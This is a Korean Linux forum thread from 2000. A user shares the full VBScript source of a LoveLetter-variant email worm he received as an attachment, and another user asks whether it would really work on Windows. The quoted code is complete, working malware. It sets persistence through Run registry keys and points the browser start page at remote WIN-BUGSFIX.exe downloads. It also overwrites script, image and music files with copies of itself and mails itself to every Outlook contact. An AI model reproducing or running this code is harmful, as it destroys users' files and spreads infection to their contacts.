>> Read Reply from No. 6720 article  
RE: 리눅스를 쓰면서 기뻤던 일...

등록 2000-09-23 10:33:16     조회 132
이름 구구..    

이거 윈도에서 보면 진짜 작동하나요?
윈도 레지스트리를 가지고 노는 스크립트처럼 보이네요..

 ps : 게시판에서도 작동하나요? --;

: 오늘 아래와 같은 첨부가 있는 메일을 받았다.
: 윈도를 쓰고 있었다면 무심코 열어 볼 뻔 했는데...
: 으하하... 기쁘다.
:
: ----------------------------------------------------------------
: rem  barok -loveletter(vbe)
: rem                     by: spyder  /  ispyder at mail.com  /  @GRAMMERSoft Group  /  Manila,Philippines
: On Error Resume Next
: dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
: eq=""
: ctr=0
: Set fso = CreateObject("Scripting.FileSystemObject")
: set file = fso.OpenTextFile(WScript.ScriptFullname,1)
: vbscopy=file.ReadAll
: main()
: sub main()
: On Error Resume Next
: dim wscr,rr
: set wscr=CreateObject("WScript.Shell")
: rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")
: if (rr>=1) then
: wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
: end if
: Set dirwin = fso.GetSpecialFolder(0)
: Set dirsystem = fso.GetSpecialFolder(1)
: Set dirtemp = fso.GetSpecialFolder(2)
: Set c = fso.GetFile(WScript.ScriptFullName)
: c.Copy(dirsystem&"\MSKernel32.vbs")
: c.Copy(dirwin&"\Win32DLL.vbs")
: c.Copy(dirsystem&"\Very Funny.vbs")
: regruns()
: html()
: spreadtoemail()
: listadriv()
: end sub
: sub regruns()
: On Error Resume Next
: Dim num,downread
: regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
: regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
: downread=""
: downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Download Directory")
: if (downread="") then
: downread="c:\"
: end if
: if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
: Randomize
: num = Int((4 * Rnd) + 1)
: if num = 1 then
: regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcv
: ytwertnMTFwetrdsfmhPnjw6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then
: regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/skladjflfdjghK
: JnwetryDGFikjUIyqwerWe546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then
: regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq
: 198vbFV5hfFEkbopBdQZnmPOhfgER67b3Vbvg/WIN-BUGSFIX.exe" elseif num = 4 then
: regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfg
: kKLHjkqwtuHJBhAFSDGjkhYUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe" end if
: end if
: if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
: regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
: regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about:blank"
: end if
: end sub
: sub listadriv
: On Error Resume Next
: Dim d,dc,s
: Set dc = fso.Drives
: For Each d in dc
: If d.DriveType = 2 or d.DriveType=3 Then
: folderlist(d.path&"\")
: end if
: Next
: listadriv = s
: end sub
: sub infectfiles(folderspec)
: On Error Resume Next
: dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
: set f = fso.GetFolder(folderspec)
: set fc = f.Files
: for each f1 in fc
: ext=fso.GetExtensionName(f1.path)
: ext=lcase(ext)
: s=lcase(f1.name)
: if (ext="vbs") or (ext="vbe") then
: set ap=fso.OpenTextFile(f1.path,2,true)
: ap.write vbscopy
: ap.close
: elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then
: set ap=fso.OpenTextFile(f1.path,2,true)
: ap.write vbscopy
: ap.close
: bname=fso.GetBaseName(f1.path)
: set cop=fso.GetFile(f1.path)
: cop.copy(folderspec&"\"&bname&".vbs")
: fso.DeleteFile(f1.path)
: elseif(ext="jpg") or (ext="jpeg") then
: set ap=fso.OpenTextFile(f1.path,2,true)
: ap.write vbscopy
: ap.close
: set cop=fso.GetFile(f1.path)
: cop.copy(f1.path&".vbs")
: fso.DeleteFile(f1.path)
: elseif(ext="mp3") or (ext="mp2") then
: set mp3=fso.CreateTextFile(f1.path&".vbs")
: mp3.write vbscopy
: mp3.close
: set att=fso.GetFile(f1.path)
: att.attributes=att.attributes+2
: end if
: if (eq<>folderspec) then
: if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then
: set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
: scriptini.WriteLine "[script]"
: scriptini.WriteLine ";mIRC Script"
: scriptini.WriteLine ";  Please dont edit this script... mIRC will corrupt, if mIRC will"
: scriptini.WriteLine "     corrupt... WINDOWS will affect and will not run correctly. thanks"
: scriptini.WriteLine ";"
: scriptini.WriteLine ";Khaled Mardam-Bey"
: scriptini.WriteLine ";http://www.mirc.com"
: scriptini.WriteLine ";"
: scriptini.WriteLine "n0=on 1:JOIN:#:{"
: scriptini.WriteLine "n1=  /if ( $nick == $me ) { halt }"
: scriptini.WriteLine "n2=  /.dcc send $nick "&dirsystem&"\Very Funny.HTM"
: scriptini.WriteLine "n3=}"
: scriptini.close
: eq=folderspec
: end if
: end if
: next
: end sub
: sub folderlist(folderspec)
: On Error Resume Next
: dim f,f1,sf
: set f = fso.GetFolder(folderspec)
: set sf = f.SubFolders
: for each f1 in sf
: infectfiles(f1.path)
: folderlist(f1.path)
: next
: end sub
: sub regcreate(regkey,regvalue)
: Set regedit = CreateObject("WScript.Shell")
: regedit.RegWrite regkey,regvalue
: end sub
: function regget(value)
: Set regedit = CreateObject("WScript.Shell")
: regget=regedit.RegRead(value)
: end function
: function fileexist(filespec)
: On Error Resume Next
: dim msg
: if (fso.FileExists(filespec)) Then
: msg = 0
: else
: msg = 1
: end if
: fileexist = msg
: end function
: function folderexist(folderspec)
: On Error Resume Next
: dim msg
: if (fso.GetFolderExists(folderspec)) then
: msg = 0
: else
: msg = 1
: end if
: fileexist = msg
: end function
: sub spreadtoemail()
: On Error Resume Next
: dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
: set regedit=CreateObject("WScript.Shell")
: set out=WScript.CreateObject("Outlook.Application")
: set mapi=out.GetNameSpace("MAPI")
: for ctrlists=1 to mapi.AddressLists.Count
: set a=mapi.AddressLists(ctrlists)
: x=1
: regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
: if (regv="") then
: regv=1
: end if
: if (int(a.AddressEntries.Count)>int(regv)) then
: for ctrentries=1 to a.AddressEntries.Count
: malead=a.AddressEntries(x)
: regad=""
: regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
: if (regad="") then
: set male=out.CreateItem(0)
: male.Recipients.Add(malead)
: male.Subject = "fwd: Joke"
: male.Body = vbcrlf&""
: male.Attachments.Add(dirsystem&"\Very Funny.vbs")
: male.Send
: regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
: end if
: x=x+1
: next
: regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
: else
: regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
: end if
: next
: Set out=Nothing
: Set mapi=Nothing
: end sub
: sub html
: On Error Resume Next
: dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
: dta1="<title>LOVELETTER - HTML<?-?TITLE>"&vbcrlf& _
: ""&vbcrlf& _
: ""&vbcrlf& _
: "<?-?HEAD>"&vbcrlf& _
: "
This HTML file need ActiveX Control<?-?p>
To Enable to read this HTML file
- Please press @YES@ button to Enable ActiveX<?-?p>"&vbcrlf& _
: "<?-?CENTER><marquee LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE> "
: &vbcrlf& _ "<?-?BODY><?-?HTML>"&vbcrlf& _
: "<script language=@-@JScript@-@>"&vbcrlf& _
: ""&vbcrlf& _
: "<?-?SCRIPT>"&vbcrlf& _
: "<script LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
: ""&vbcrlf& _
: "<?-?SCRIPT>"
: dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
: dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
: dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
: dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
: dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
: dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
: dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
: dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
: set fso=CreateObject("Scripting.FileSystemObject")
: set c=fso.OpenTextFile(WScript.ScriptFullName,1)
: lines=Split(c.ReadAll,vbcrlf)
: l1=ubound(lines)
: for n=0 to ubound(lines)
: lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
: lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
: lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
: if (l1=n) then
: lines(n)=chr(34)+lines(n)+chr(34)
: else
: lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
: end if
: next
: set b=fso.CreateTextFile(dirsystem+"\Very Funny.HTM")
: b.close
: set d=fso.OpenTextFile(dirsystem+"\Very Funny.HTM",2)
: d.write dt5
: d.write join(lines,vbcrlf)
: d.write vbcrlf
: d.write dt6
: d.close
: end sub
:
: --
: 감자에
: 싹이 나서
: 잎이 나서, 윙윙샤~
이름
암호


>> 관련글
6720 리눅스를 쓰면서 기뻤던 일...  potato  2000.09.22  ..426 
  답장 RE: 리눅스를 쓰면서 기뻤던 일...  구구..  2000.09.23  ..131 
  목록보기 윗글 아랫글
글쓰기
답장쓰기 수정 삭제
정규표현식 [ 상세 검색 ]
페이지로딩: [ 0.91 초 ] 작업시간: [ 0.18 초 ]

Copyleft 1999-2026 by JSBoard Open Project
Theme Designed by IDOO All right reserved
[TOP]

적수네 동네
+
| 적수네 동네
| 공부방
| 리눅스 잡지 서고
| LSN 소스
| 링크 모음
+---+
게시판
+
| 떠들어보세!
| 질문과 답변
| 새소식과 정보
| 1원짜리 팁?
| 대화방
+---+
칼럼?
+
| 세하 훔쳐보기
| Welcome2nite
| 혜진의 염장판
+---+
리눅스 상표권
+
| 반대 서명란
| 토론 게시판
+---+
GNU
+
| GNU 선언문
| GNU GPL
| GNU 미러 목록
+---+
프로젝트?
+
| 리눅스카운터
| RC5DES
| 실질헌법 제작
+---+
커널 소식
+
| 안정 버젼: 2.4.14
+---+
테마 선택
+
LSN 방송국?
+
| OFF AIR
+---+
회원
+
| 로그인
+---+
[ 적수네 동네 ] [ 리눅스 상표권 독점 반대 ] [ 한글 리눅스 문서 프로젝트 ] [ KrLine ] [ 사랑넷 ] [ Valid HTML 4.0! ] [ SlashDot ] [ Freshmeat ]
Copyleft (C) 1998-2001 Byeong-Chan Kim . License
TIME: 1791056381
System by WYZsoft, HDD by I.O.Linux, Mizi Research, Embryo, WOWLINUX, Domain by SarangNet, Network by KrLine.